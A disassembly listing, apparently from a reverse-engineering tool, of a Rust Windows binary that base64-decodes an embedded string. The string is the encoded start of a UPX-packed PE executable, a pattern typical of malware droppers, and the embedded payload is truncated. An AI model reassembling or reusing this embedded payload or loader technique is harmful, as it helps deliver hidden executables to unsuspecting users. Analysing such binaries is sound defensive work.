mov qword [rsp + 0x38], r14
mov rcx, r14
mov qword [rsp + 0xf8], r13
mov rdx, r13
xor r8d, r8d
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym.core::slice::index::__impl_core::ops::index::Index_I__for__T__::index::h33401f10c5b5cef2
mov r14, rax
mov rsi, rdx
mov rcx, r15
mov rdx, r12
xor r8d, r8d
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym._ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h1e8090da1a50e4
test rsi, rsi
je 0x140003a5f
mov qword [rsp + 0x178], rdi
movzx r13d, byte [r14]
movzx ecx, byte [r13 + rbp]
cmp rcx, 0xff
je 0x140003ba1
cmp rsi, 2
jb 0x140003af3
mov r9, rdx
movzx r13d, byte [r14 + 1]
movzx edx, byte [r13 + rbp]
cmp rdx, 0xff
je 0x140003bbd
cmp rsi, 3
jb 0x140003a6f
movzx r13d, byte [r14 + 2]
movzx r8d, byte [r13 + rbp]
cmp r8, 0xff
je 0x140003bc7
cmp rsi, 4
jb 0x140003a85
movzx r13d, byte [r14 + 3]
movzx r10d, byte [r13 + rbp]
cmp r10, 0xff
je 0x140003bd1
cmp rsi, 5
jb 0x140003a9b
movzx r13d, byte [r14 + 4]
movzx r11d, byte [r13 + rbp]
cmp r11, 0xff
je 0x140003bdb
cmp rsi, 6
jb 0x140003ab1
mov qword [rsp + 0x170], rbx
movzx r13d, byte [r14 + 5]
movzx ebx, byte [r13 + rbp]
cmp rbx, 0xff
je 0x140003be5
cmp rsi, 7
jb 0x140003ac7
movzx r13d, byte [r14 + 6]
movzx edi, byte [r13 + rbp]
cmp rdi, 0xff
je 0x140003bef
cmp rsi, 8
jb 0x140003add
movzx r13d, byte [r14 + 7]
movzx esi, byte [r13 + rbp]
cmp rsi, 0xff
je 0x140003bf9
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r8, 0x2e
or r8, rdx
shl r10, 0x28
or r10, r8
shl r11, 0x22
or r11, r10
shl rbx, 0x1c
or rbx, r11
shl rdi, 0x16
or rdi, rbx
shl rsi, 0x10
or rsi, rdi
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
bswap rsi
mov qword [rsp + 0x40], rsi
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x40]
call sym.core::slice::__impl__T__::copy_from_slice::hd3b08f4711be5576
mov r8d, 8
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0xf8]
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym.core::slice::index::__impl_core::ops::index::Index_I__for__T__::index::h33401f10c5b5cef2
mov r14, rax
mov rsi, rdx
mov r8d, 6
mov rcx, r15
mov rdx, r12
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym._ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h1e8090da1a50e4
test rsi, rsi
je 0x140003a5f
movzx r13d, byte [r14]
movzx ecx, byte [r13 + rbp]
cmp rcx, 0xff
je 0x140003c03
cmp rsi, 2
jb 0x140003af3
mov r9, rdx
movzx r13d, byte [r14 + 1]
movzx edx, byte [r13 + rbp]
cmp rdx, 0xff
je 0x140003c0d
cmp rsi, 3
jb 0x140003a6f
movzx r13d, byte [r14 + 2]
movzx r8d, byte [r13 + rbp]
cmp r8, 0xff
je 0x140003c17
cmp rsi, 4
jb 0x140003a85
movzx r13d, byte [r14 + 3]
movzx r10d, byte [r13 + rbp]
cmp r10, 0xff
je 0x140003c21
cmp rsi, 5
jb 0x140003a9b
movzx r13d, byte [r14 + 4]
movzx r11d, byte [r13 + rbp]
cmp r11, 0xff
je 0x140003c2b
cmp rsi, 6
jb 0x140003ab1
movzx r13d, byte [r14 + 5]
movzx ebx, byte [r13 + rbp]
cmp rbx, 0xff
je 0x140003c35
cmp rsi, 7
jb 0x140003ac7
movzx r13d, byte [r14 + 6]
movzx edi, byte [r13 + rbp]
cmp rdi, 0xff
je 0x140003c3c
cmp rsi, 8
jb 0x140003add
movzx r13d, byte [r14 + 7]
movzx esi, byte [r13 + rbp]
cmp rsi, 0xff
je 0x140003c43
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r8, 0x2e
or r8, rdx
shl r10, 0x28
or r10, r8
shl r11, 0x22
or r11, r10
shl rbx, 0x1c
or rbx, r11
shl rdi, 0x16
or rdi, rbx
shl rsi, 0x10
or rsi, rdi
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
bswap rsi
mov qword [rsp + 0x40], rsi
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x40]
call sym.core::slice::__impl__T__::copy_from_slice::hd3b08f4711be5576
mov r8d, 0x10
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0xf8]
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym.core::slice::index::__impl_core::ops::index::Index_I__for__T__::index::h33401f10c5b5cef2
mov r14, rax
mov rsi, rdx
mov r8d, 0xc
mov rcx, r15
mov rdx, r12
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym._ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h1e8090da1a50e4
test rsi, rsi
je 0x140003a5f
movzx r13d, byte [r14]
movzx ecx, byte [r13 + rbp]
cmp rcx, 0xff
je 0x140003c4a
cmp rsi, 2
jb 0x140003af3
mov r9, rdx
movzx r13d, byte [r14 + 1]
movzx edx, byte [r13 + rbp]
cmp rdx, 0xff
je 0x140003c51
cmp rsi, 3
jb 0x140003a6f
movzx r13d, byte [r14 + 2]
movzx r8d, byte [r13 + rbp]
cmp r8, 0xff
je 0x140003c58
cmp rsi, 4
jb 0x140003a85
movzx r13d, byte [r14 + 3]
movzx r10d, byte [r13 + rbp]
cmp r10, 0xff
je 0x140003c5f
cmp rsi, 5
jb 0x140003a9b
movzx r13d, byte [r14 + 4]
movzx r11d, byte [r13 + rbp]
cmp r11, 0xff
je 0x140003c66
cmp rsi, 6
jb 0x140003ab1
movzx r13d, byte [r14 + 5]
movzx ebx, byte [r13 + rbp]
cmp rbx, 0xff
je 0x140003c6d
cmp rsi, 7
jb 0x140003ac7
movzx r13d, byte [r14 + 6]
movzx edi, byte [r13 + rbp]
cmp rdi, 0xff
je 0x140003c74
cmp rsi, 8
jb 0x140003add
movzx r13d, byte [r14 + 7]
movzx esi, byte [r13 + rbp]
cmp rsi, 0xff
je 0x140003c7b
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r8, 0x2e
or r8, rdx
shl r10, 0x28
or r10, r8
shl r11, 0x22
or r11, r10
shl rbx, 0x1c
or rbx, r11
shl rdi, 0x16
or rdi, rbx
shl rsi, 0x10
or rsi, rdi
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
bswap rsi
mov qword [rsp + 0x40], rsi
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x40]
call sym.core::slice::__impl__T__::copy_from_slice::hd3b08f4711be5576
mov r8d, 0x18
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0xf8]
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym.core::slice::index::__impl_core::ops::index::Index_I__for__T__::index::h33401f10c5b5cef2
mov rdi, rax
mov rsi, rdx
mov r8d, 0x12
mov rcx, r15
mov rdx, r12
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym._ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h1e8090da1a50e4
test rsi, rsi
je 0x140003a5f
movzx r13d, byte [rdi]
movzx ecx, byte [r13 + rbp]
cmp rcx, 0xff
je 0x140003c82
cmp rsi, 2
jb 0x140003af3
mov r9, rdx
movzx r13d, byte [rdi + 1]
movzx edx, byte [r13 + rbp]
cmp rdx, 0xff
je 0x140003c89
cmp rsi, 3
jb 0x140003a6f
movzx r13d, byte [rdi + 2]
movzx r8d, byte [r13 + rbp]
cmp r8, 0xff
je 0x140003c90
cmp rsi, 4
jb 0x140003a85
movzx r13d, byte [rdi + 3]
movzx r10d, byte [r13 + rbp]
cmp r10, 0xff
je 0x140003c97
cmp rsi, 5
jb 0x140003a9b
movzx r13d, byte [rdi + 4]
movzx r11d, byte [r13 + rbp]
cmp r11, 0xff
je 0x140003c9e
cmp rsi, 6
jb 0x140003ab1
movzx r13d, byte [rdi + 5]
movzx ebx, byte [r13 + rbp]
cmp rbx, 0xff
je 0x140003ca5
cmp rsi, 7
jb 0x140003ac7
movzx r13d, byte [rdi + 6]
movzx r14d, byte [r13 + rbp]
cmp r14, 0xff
je 0x140003cac
cmp rsi, 8
jb 0x140003add
movzx r13d, byte [rdi + 7]
movzx esi, byte [r13 + rbp]
cmp rsi, 0xff
je 0x140003cb3
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r8, 0x2e
or r8, rdx
shl r10, 0x28
or r10, r8
shl r11, 0x22
or r11, r10
shl rbx, 0x1c
or rbx, r11
shl r14, 0x16
or r14, rbx
shl rsi, 0x10
or rsi, r14
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
bswap rsi
mov qword [rsp + 0x40], rsi
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x40]
call sym.core::slice::__impl__T__::copy_from_slice::hd3b08f4711be5576
mov rsi, qword [rsp + 0x178]
add rsi, 0xfffffffffffffffe
mov rdi, qword [rsp + 0x170]
jmp 0x140002b4a
mov r13d, 0x45d7d0
mov ecx, 0x5d1fc0
cmp rcx, 0x5d1fc8
jae 0x1400034e6
lea rbx, [rcx + 8]
mov qword [rsp + 0x28], rcx
mov rdx, rbx
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym.core::slice::index::__impl_core::ops::index::Index_I__for__T__::index::hb9d00f84d89ab147
mov r12, rax
mov r15, rdx
lea r14, [r13 + 8]
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, r14
mov r8, qword [rsp + 0x100]
mov r9, qword [rsp + 0x88]
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
test r15, r15
je 0x140003a5f
movzx r13d, byte [r12]
movzx ecx, byte [r13 + rbp]
cmp rcx, 0xff
je 0x140003ba1
cmp r15, 2
jb 0x140003b41
mov r9, rdx
movzx r13d, byte [r12 + 1]
movzx edx, byte [r13 + rbp]
cmp rdx, 0xff
je 0x140003d1b
cmp r15, 2
jbe 0x140003a6f
movzx r13d, byte [r12 + 2]
movzx r8d, byte [r13 + rbp]
cmp r8, 0xff
je 0x140003d26
cmp r15, 3
jbe 0x140003a85
movzx r13d, byte [r12 + 3]
movzx r10d, byte [r13 + rbp]
cmp r10, 0xff
je 0x140003d31
cmp r15, 4
jbe 0x140003a9b
movzx r13d, byte [r12 + 4]
movzx r11d, byte [r13 + rbp]
cmp r11, 0xff
je 0x140003d3c
cmp r15, 5
jbe 0x140003ab1
movzx r13d, byte [r12 + 5]
movzx esi, byte [r13 + rbp]
cmp rsi, 0xff
je 0x140003d4a
cmp r15, 6
jbe 0x140003ac7
movzx r13d, byte [r12 + 6]
movzx edi, byte [r13 + rbp]
cmp rdi, 0xff
je 0x140003d58
cmp r15, 7
jbe 0x140003add
movzx r13d, byte [r12 + 7]
movzx r15d, byte [r13 + rbp]
cmp r15, 0xff
je 0x140003d66
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r8, 0x2e
or r8, rdx
shl r10, 0x28
or r10, r8
shl r11, 0x22
or r11, r10
shl rsi, 0x1c
or rsi, r11
shl rdi, 0x16
or rdi, rsi
shl r15, 0x10
or r15, rdi
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
bswap r15
mov qword [rsp + 0x40], r15
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x40]
call sym.core::slice::__impl__T__::copy_from_slice::hd3b08f4711be5576
add r14, 0xfffffffffffffffe
mov rcx, rbx
mov r13, r14
jmp 0x1400032f1
mov r13d, 0x45d7d6
mov r8d, 0x5d1fc8
mov sil, 1
test sil, 1
je 0x1400036e4
mov edx, 0x5d1fd8
lea rcx, str.TVqQAAMAAAAEAAAA__8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYDAETYH2YAaosAwRIAAPAAJiALAgImAJBBAAAQAAAA4EoA8GiMAADwSgAAAACAAQAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAACQjAAAAgAAAAAAAAMAYAEAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAIGMAHQAAAAAgIwAAEAAAAAAAAAAAAAACBPAKxEAAAAAAAAAAAAAGyCjAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUHWMACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAADgSgAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADgVVBYMQAAAAAAkEEAAPBKAACGQQAAAgAAAAAAAAAAAAAAAAAAQAAA4FVQWDIAAAAAABAAAACAjAAABAAAAIhBAAAAAAAAAAAAAAAAAEAAAMA0LjEwAFVQWCENJA4HFpU2aCZsKS8dRowAwXhBAOC1jwBJDgCAGgMAJCM9r5p3h431bZeAUFUIQo68NHKbPbegYF8AiPKuFSmzJDCflK2Hfk5XHvl5jFFCK8J8rv55M6pEZUsBkDFhct255qEtZT0N06JTlaLsnhmeCpATX5XvtI6xzI42Dv1eJ6BFDpOoRXRASXpzD3RZDcYXb1hYj8str8Sga5eLnRMfZhRSM8Dw8U8tG2JqpPYXc4DARbapBsKVyfsADoTfwmsGizWWCQIfvcBpUMmGJsfvFMcdgR_gOBD9klWN4EgwU2LrPuqBanrq8hspRcl5_6hbQ6hwa2vlfRJC270lKpMMwR6FCeGwYtlONChvvVAwnzucxq0SOx35kl59bSfFcvQWirevHlWat9hVQV2N16j1eRR_9oQPSd7eDmMvlvEZR_StXo3DT9f3Avxjtp5zevBknkm5zXsa_pzZl8GGyaAPlEw9NTSeOIXZETmT3Bh3buZYdK736CHzZlRv2_UTfoaUxkItJDqOD8iUclvwUqzoeuoRVTiYPwIzICTsWni05KFPe0yABA29ZGWrIIptsNRnyTaUkzPxGfpGKbHQUjp_mp0kvj7EFHUg_v5bYjv5VfsjMsRoycj2lLdAdOdKCZ7W_lgYA6wktqyUHkFeq5xQD83ByIYMkecYu8Wdf6zes6NpRnPXCkKiQAlozxJ5O8wApZCUDBHlvpW9hA0HlTDioCyizKK67eEGBdW7yBqjHbMh_qB_BeI1uaaXTdreKNYaPwtkbFiTt9Yc1PyShbTe2yLLL9IMVwRpkVcs_QuaaB0tiKOhh7cCPD_UHcNjMYCcaRK59jbEULUVAvkX_OgwjyACD4TpXt9HRRayRac9OAl4Kx88btleVC5HMcPoO37zE8wYIjNZTE9GuvSBOMGvHpxj9xf4rQb_bmGZERKLABuWBafU2jFOLl4qwlGIoS9R413pDedwOpFqWhlMSA4jMMDa3GwgEWmM9zVKBgPWtcoakqZaQR_TDxYAFfwSJwMggjcV3Vy0wH09ONr15bS5CxiiCzoaOvM2AbOo4yJs516cZJLnO1DnsC89XrwOdVpbV8I5A87aX8NZjC8oYJf3XxCsRXz7s7BgbZEJNfzNmpcrHKAI5kyCdr4ofeMBZYZri8d80AehiylNPwAwmJnCmC31GemebScdO8LV6diuSO8wHkdIt2HTEkJ2A5Op1uQfzx5cskrHpC5uzIter1Vi6Lxh6Fca4ImjoHGLZBBNzZ36m2HecoNuj_k79d3XAly6oR37Jmk_lW9lHIwS6qTSMHBD0HFNsNC_kLe_aUwcF0xTuIRlFpVK3ut313hy42z3de59a_NtM0L29Yef49gtdlfwb3UeOtIkHrbE8uiaKGn7PvQbi98l1RyBPTZkSMrEBy3Uw1MaE5pJ3Mw6klbDE62l2L397_FszLMoMR_3hkomnDXHqtDqu4nJiDOvW9e6MckERAlUsVZnqZHQw0qYmKfBlNQDfvx_7yE6pVISZaJI2PCdJi67vVU1PzwlWOmQ2kHZe61EtHcLJB_6aLDQr1kuKlNW4Tt7GLh4eUv6Pe_wWwWUCNyx_HJ2wBQlbg_TgELmCKXa84PQMDTIfNe2iejII_ENiJKpGV6mWXr59n53NJVFS4dc1kQOiBm6YcNn0THqjK10kzoqmS755mDweqUehUEd77Wexg9fLbfhTqFlXLQEbJIs_jhpeFUAXPhGJr7Ffisx3hPeosuSUAUvXAcPrHMLp5g0aEvNETDfnMWLAjPSl4ZgbzD9KcLYUqgA7ABeMMmAgRd65NRHhZ8I4MA9BUFwNyqCZXgA70QeJmJpipFnF0UIdP0U5wZBmG_WtAxUQq_SUTwaFSps9DQVpbA2NHunqaf_3KW3zg7UNACjn9RbowReW19iCWYBohFOOgSMXkCpQaj_ixfWaHAok_N7smA9hukkslq3DBvmWX5lVnCCVPOiUNbGen_ql4sgKQzKxuH3SXoCSTFVkfVeMD3WxA66s88KLbvDEkdHbju8WFqwH9AxX3CVDYDLEAHh5AtDyIleARMR4uss47uNMPzi8kpjwSQpopwCR39Kl1ncqSTiPucUPmh8D9YxofTdfgSpTSx_UZgRFqbFSn_YfMx09Ukkl9jRFFwf72Du08FjgvzDdvAolZ5shm5yYdRHyNahb0rb0UHLly3HEnTA0u01mZ2DxdOkGs17uHjebGrY9GtxjBanQAYbOc0CpghD7zzAd6S6jVZ8BCgiHWnaophOX3tUk9ZyRi4TXa1k1MmmejpHDFnrV0lmJOFXEgqwgwSXAaNs75S5S_amzljSUHHZKVo79WjFf_nkYcdalBV1o9nd119VxBb2JYIOXVmQV5TjlPl0Ogf2cjaIyRGecvu7wNgPiwrOXOlvRTPExheDevKPpM65CTngCFfj1cJ9mWdphLyWoL06xd64Z7_3LXKEDyDeCAxV6gjVJ0RMq7IWZU3k0lvPu_EZx9wXLWwgpr5T9PgydKoQYBDjCtvOj8gumjmCX3dG16p7ke2fa3XEt3K3aDDGsJWOPqhimQibugpEEgAudSsUT5Hqx6kanCOS3iQw91a5owDu9XqLt8sWNYLPqpQvJ2y11q2BOC3lYGRbhYxYy6zXu5MpXX2sPqI7Oxy99zL2K90fC0Fo1fiJ34o61ODUJ0PtFVTmz65HCBPSFPShhACL0H0iNyzTGBb1J75dUpyl_nkHNHIcDiVgmaw_HYUmWAuvEF9VTsELILGigD0O8qj92bLtERQbtg_zDgCny3KfPZ9wJrlZzsxRmfSrMhhF4OCFVYJo109k5ka0_jWV1MHDG1tFSYb7gdXZ2NHe99fsVzwftnH50YiiWFrDGkpyLoORxfE7KBsCtZv08QY_d2JYD_W2IR7X2FZXTPgfBE85PoQ6sxo52ZEWrAimbH7Ji59qWmUJAZPrVHd8VERexlvr6rxJHBKrI8EOOG73Yd_PfpqSZL1PcK1jk0JFbrozfCvKd5eQpA8BxDKhU36PGItj95N9_cLAmij7aa0P0Dqv2lNiEezYbcpbcEFEnUwi3Q4N0Ju20jrZy5K2aYYxg7HYCp2yVzPr_UtD697bSBWsyGBBsxcoHOO4y5booITlcWjRSopko_egRwfegg8zkoOrDdrKHcAsktAslMyrW0RAE_fFo3v0lvqlvRs1vxv25RwlVu65YzCYb0E6HJE6_8Xd9ZtK9JZft9UhwWD1l1nOB0VyAc80NzDdhgYZNr_BUO1RPSqfxjn7022mm3s_8OTJWkQ5rTo6DtU_NsTJFe987QboXaVdctu0piwWpaAZFxNjcl8uiqT1DDsxcpldgn6i6_7bsp3O8MuTBNGwqH3Ox
mov rbx, r8
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym.core::slice::index::__impl_core::ops::index::Index_I__for__T__::index::h33401f10c5b5cef2
mov r15, rax
mov r12, rdx
lea r14, [r13 + 6]
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, r14
mov r8, qword [rsp + 0x100]
mov r9, qword [rsp + 0x88]
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
test r12, r12
je 0x140003a5f
movzx r13d, byte [r15]
movzx ecx, byte [r13 + rbp]
cmp rcx, 0xff
je 0x140003d73
cmp r12, 2
jb 0x140003af3
mov r9, rdx
movzx r13d, byte [r15 + 1]
movzx edx, byte [r13 + rbp]
cmp rdx, 0xff
je 0x140003d7b
cmp r12, 3
jb 0x140003a6f
movzx r13d, byte [r15 + 2]
movzx r8d, byte [r13 + rbp]
cmp r8, 0xff
je 0x140003d82
cmp r12, 4
jb 0x140003a85
movzx r13d, byte [r15 + 3]
movzx r10d, byte [r13 + rbp]
cmp r10, 0xff
je 0x140003d89
cmp r12, 5
jb 0x140003a9b
movzx r13d, byte [r15 + 4]
movzx r11d, byte [r13 + rbp]
cmp r11, 0xff
je 0x140003d90
cmp r12, 6
jb 0x140003ab1
movzx r13d, byte [r15 + 5]
movzx esi, byte [r13 + rbp]
cmp rsi, 0xff
je 0x140003d97
cmp r12, 7
jb 0x140003ac7
movzx r13d, byte [r15 + 6]
movzx edi, byte [r13 + rbp]
cmp rdi, 0xff
je 0x140003d9e
cmp r12, 8
jb 0x140003add
movzx r13d, byte [r15 + 7]
movzx r15d, byte [r13 + rbp]
cmp r15, 0xff
je 0x140003da5
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r8, 0x2e
or r8, rdx
shl r10, 0x28
or r10, r8
shl r11, 0x22
or r11, r10
shl rsi, 0x1c
or rsi, r11
shl rdi, 0x16
or rdi, rsi
shl r15, 0x10
or r15, rdi
bswap r15
mov qword [rsp + 0x40], r15
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
xor esi, esi
mov edx, 6
xor ecx, ecx
mov r8, rax
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 6
mov rcx, rax
lea r8, [rsp + 0x40]
call sym.core::slice::__impl__T__::copy_from_slice::hd3b08f4711be5576
mov r8, rbx
add r8, 8
mov r13, r14
jmp 0x1400034f5
lea rcx, str.TVqQAAMAAAAEAAAA__8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYDAETYH2YAaosAwRIAAPAAJiALAgImAJBBAAAQAAAA4EoA8GiMAADwSgAAAACAAQAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAACQjAAAAgAAAAAAAAMAYAEAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAIGMAHQAAAAAgIwAAEAAAAAAAAAAAAAACBPAKxEAAAAAAAAAAAAAGyCjAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUHWMACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAADgSgAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADgVVBYMQAAAAAAkEEAAPBKAACGQQAAAgAAAAAAAAAAAAAAAAAAQAAA4FVQWDIAAAAAABAAAACAjAAABAAAAIhBAAAAAAAAAAAAAAAAAEAAAMA0LjEwAFVQWCENJA4HFpU2aCZsKS8dRowAwXhBAOC1jwBJDgCAGgMAJCM9r5p3h431bZeAUFUIQo68NHKbPbegYF8AiPKuFSmzJDCflK2Hfk5XHvl5jFFCK8J8rv55M6pEZUsBkDFhct255qEtZT0N06JTlaLsnhmeCpATX5XvtI6xzI42Dv1eJ6BFDpOoRXRASXpzD3RZDcYXb1hYj8str8Sga5eLnRMfZhRSM8Dw8U8tG2JqpPYXc4DARbapBsKVyfsADoTfwmsGizWWCQIfvcBpUMmGJsfvFMcdgR_gOBD9klWN4EgwU2LrPuqBanrq8hspRcl5_6hbQ6hwa2vlfRJC270lKpMMwR6FCeGwYtlONChvvVAwnzucxq0SOx35kl59bSfFcvQWirevHlWat9hVQV2N16j1eRR_9oQPSd7eDmMvlvEZR_StXo3DT9f3Avxjtp5zevBknkm5zXsa_pzZl8GGyaAPlEw9NTSeOIXZETmT3Bh3buZYdK736CHzZlRv2_UTfoaUxkItJDqOD8iUclvwUqzoeuoRVTiYPwIzICTsWni05KFPe0yABA29ZGWrIIptsNRnyTaUkzPxGfpGKbHQUjp_mp0kvj7EFHUg_v5bYjv5VfsjMsRoycj2lLdAdOdKCZ7W_lgYA6wktqyUHkFeq5xQD83ByIYMkecYu8Wdf6zes6NpRnPXCkKiQAlozxJ5O8wApZCUDBHlvpW9hA0HlTDioCyizKK67eEGBdW7yBqjHbMh_qB_BeI1uaaXTdreKNYaPwtkbFiTt9Yc1PyShbTe2yLLL9IMVwRpkVcs_QuaaB0tiKOhh7cCPD_UHcNjMYCcaRK59jbEULUVAvkX_OgwjyACD4TpXt9HRRayRac9OAl4Kx88btleVC5HMcPoO37zE8wYIjNZTE9GuvSBOMGvHpxj9xf4rQb_bmGZERKLABuWBafU2jFOLl4qwlGIoS9R413pDedwOpFqWhlMSA4jMMDa3GwgEWmM9zVKBgPWtcoakqZaQR_TDxYAFfwSJwMggjcV3Vy0wH09ONr15bS5CxiiCzoaOvM2AbOo4yJs516cZJLnO1DnsC89XrwOdVpbV8I5A87aX8NZjC8oYJf3XxCsRXz7s7BgbZEJNfzNmpcrHKAI5kyCdr4ofeMBZYZri8d80AehiylNPwAwmJnCmC31GemebScdO8LV6diuSO8wHkdIt2HTEkJ2A5Op